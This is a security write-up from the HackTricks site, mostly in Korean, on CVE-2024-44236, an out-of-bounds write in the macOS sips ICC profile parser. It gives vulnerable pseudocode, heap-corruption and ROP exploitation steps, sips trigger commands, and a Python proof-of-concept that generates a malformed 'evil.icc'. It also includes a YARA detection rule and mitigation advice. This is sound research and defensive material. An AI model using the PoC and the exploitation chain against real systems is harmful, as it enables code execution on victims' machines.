WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
Apple macOS Scriptable Image Processing System (sips
) ICC 프로파일 파서에서 발생하는 제로 쓰기 취약점 (macOS 15.0.1, sips-307
)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 lutAToBType
(mAB
) 및 lutBToAType
(mBA
) 태그의 offsetToCLUT
필드 처리에 있습니다. 공격자가 offsetToCLUT == tagDataSize
로 설정하면, 파서는 힙 버퍼 끝에서 16바이트를 지웁니다. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 임의 쓰기-실행 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다.
Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다.
취약한 코드
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitation Steps
- 악성
.icc
프로파일 만들기
- 최소한의 ICC 헤더(
acsp
)를 설정하고 하나의mAB
(또는mBA
) 태그를 추가합니다. - 태그 테이블을 구성하여
offsetToCLUT
가 태그 크기(tagDataSize
)와 같도록 합니다. - 태그 바로 뒤에 공격자가 제어하는 데이터를 배치하여 16개의 제로 쓰기가 할당자 메타데이터와 겹치도록 합니다.
- 프로파일에 영향을 주는 sips 작업으로 파싱 트리거하기
# 검증 경로 (출력 파일 필요 없음)
sips --verifyColor evil.icc
# 또는 프로파일을 포함하는 이미지를 변환할 때 암묵적으로
sips -s format png payload.jpg --out out.png
- 힙 메타데이터 손상 ➜ 임의 쓰기 ➜ ROP
Apple의 기본
nano_zone
할당자에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 바로 뒤에 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가meta->slot_B
를 덮어씁니다. 이후free
가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게 하며, 마지막으로 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다.
빠른 PoC 생성기 (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA 탐지 규칙
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impact
조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 임의 코드 실행이 발생하며 (미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다.
Detection & Mitigation
- 패치! 호스트가 macOS ≥ 15.2 / 14.7.1 (또는 iOS/iPadOS ≥ 18.1)을 실행하고 있는지 확인하십시오.
- 이메일 게이트웨이 및 EDR 솔루션에 위의 YARA 규칙을 배포하십시오.
- 신뢰할 수 없는 파일을 추가로 처리하기 전에
exiftool -icc_profile= -overwrite_original <file>
로 포함된 ICC 프로파일을 제거하거나 정리하십시오. - 미지의 콘텐츠를 분석할 때 샌드박스화된 “투명성 및 현대화” VM 내에서 미리보기/QuickLook을 강화하십시오.
- DFIR의 경우, 통합 로그에서 샌드박스화된 앱에 의해
sips --verifyColor
또는ColorSync
라이브러리 로드의 최근 실행을 찾으십시오.
References
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.